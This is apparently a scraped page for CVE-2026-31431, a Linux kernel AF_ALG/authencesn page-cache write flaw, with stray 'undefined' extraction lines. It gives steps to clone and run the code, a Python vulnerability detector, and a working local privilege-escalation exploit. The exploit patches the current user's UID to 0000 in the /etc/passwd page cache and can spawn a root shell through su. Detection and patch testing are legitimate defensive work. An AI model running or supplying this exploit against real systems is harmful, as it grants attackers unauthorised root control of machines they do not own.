git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version  # requires 3.10+

python3 test_cve_2026_31431.py

undefined

undefined

sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
        flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd)   # returns EBADMSG; scratch write has already landed

import os, socket, struct, tempfile, ctypes

MARKER = b'PWND'
ALG_SET_KEY       = 1
ALG_SET_IV        = 2
ALG_SET_OP        = 3
ALG_SET_AEAD_ASSOCLEN = 4

def check_preconditions():
    """Verify AF_ALG and authencesn algorithm are reachable."""
    try:
        sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
        sock.bind({
            'type': 'aead',
            'name': 'authencesn(hmac(sha256),cbc(aes))',
            'feat': 0,
            'mask': 0,
        })
        sock.close()
        return True
    except (OSError, AttributeError):
        return False

def write4(target_path, file_offset, payload_4bytes):
    """
    Write exactly 4 bytes into the page cache of target_path at file_offset
    using the algif_aead splice path. The auth check will fail (EBADMSG)
    but the scratch write fires regardless.
    """
    assert len(payload_4bytes) == 4

    # Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC)
    aes_key  = bytes(32)
    hmac_key = bytes(32)
    key = hmac_key + aes_key  # authencesn key layout

    # Create AF_ALG socket bound to the vulnerable algorithm
    alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    alg_sock.bind({
        'type': 'aead',
        'name': 'authencesn(hmac(sha256),cbc(aes))',
        'feat': 0,
        'mask': 0,
        'authsize': 32,
    })
    alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
    op_fd, _ = alg_sock.accept()

    # 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN)
    aad = bytes(4) + payload_4bytes   # seqno_lo = our 4-byte payload

    # Send AAD inline via sendmsg with control messages
    iv = bytes(16)  # CBC IV
    cmsg = [
        (socket.SOL_ALG, ALG_SET_OP,          struct.pack('I', 0)),  # DECRYPT=0
        (socket.SOL_ALG, ALG_SET_IV,          struct.pack('II', 16, 0) + iv),
        (socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
    ]
    op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)

    # splice the target file's page-cache page into the op socket
    pipe_r, pipe_w = os.pipe()
    target_fd = os.open(target_path, os.O_RDONLY)
    os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
    os.splice(pipe_r,    op_fd,  32)

    # Drive the decryption — EBADMSG expected; scratch write already fired
    try:
        op_fd.recv(64)
    except OSError:
        pass  # EBADMSG is expected

    os.close(pipe_r)
    os.close(pipe_w)
    os.close(target_fd)
    op_fd.close()
    alg_sock.close()

def detect():
    if not check_preconditions():
        print("Precondition not met — AF_ALG or authencesn unavailable")
        return 0

    with tempfile.NamedTemporaryFile(delete=False) as f:
        sentinel_path = f.name
        f.write(b'\x00' * 4096)

    try:
        # Populate page cache
        with open(sentinel_path, 'rb') as f:
            f.read()

        write4(sentinel_path, 0, MARKER)

        # Read back from page cache
        with open(sentinel_path, 'rb') as f:
            data = f.read(16)

        if MARKER in data:
            print("VULNERABLE to CVE-2026-31431")
            return 2
        elif data != b'\x00' * 16:
            print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable")
            return 2
        else:
            print("Page cache intact — not vulnerable")
            return 0
    finally:
        os.unlink(sentinel_path)

if __name__ == '__main__':
    raise SystemExit(detect())

import os, pwd, subprocess

def find_uid_offset(username):
    """Find the byte offset of the UID field in /etc/passwd for username."""
    with open('/etc/passwd', 'rb') as f:
        content = f.read()

    for line in content.split(b'\n'):
        if line.startswith(username.encode() + b':'):
            fields = line.split(b':')
            # fields[2] is the UID
            offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
            uid_field = fields[2]
            return offset, uid_field
    raise ValueError(f"User {username!r} not found in /etc/passwd")

def exploit(username, spawn_shell=False):
    uid_offset, uid_field = find_uid_offset(username)

    if len(uid_field) != 4:
        raise ValueError(
            f"UID {uid_field.decode()!r} is not 4 digits — "
            "1-3 digit UIDs require multi-shot writes"
        )

    print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...")
    write4('/etc/passwd', uid_offset, b'0000')

    # Verify libc now reports UID 0
    entry = pwd.getpwnam(username)
    if entry.pw_uid != 0:
        print("[!] getpwnam still returns original UID — NSS cache may be active")
        print("    Try: sudo systemctl stop nscd sssd systemd-userdbd")
        return

    print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0")

    if spawn_shell:
        print(f"[*] Spawning root shell via: su {username}")
        print("[*] Enter your own password at the prompt")
        os.execvp('su', ['su', username])
    else:
        print("[*] Dry-run complete. Page cache will be evicted on exit.")
        # Auto-evict corrupted page on exit
        fd = os.open('/etc/passwd', os.O_RDONLY)
        os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
        os.close(fd)

if __name__ == '__main__':
    import sys
    username = os.environ.get('USER') or os.getlogin()
    spawn_shell = '--shell' in sys.argv
    exploit(username, spawn_shell)

undefined

undefined

undefined

undefined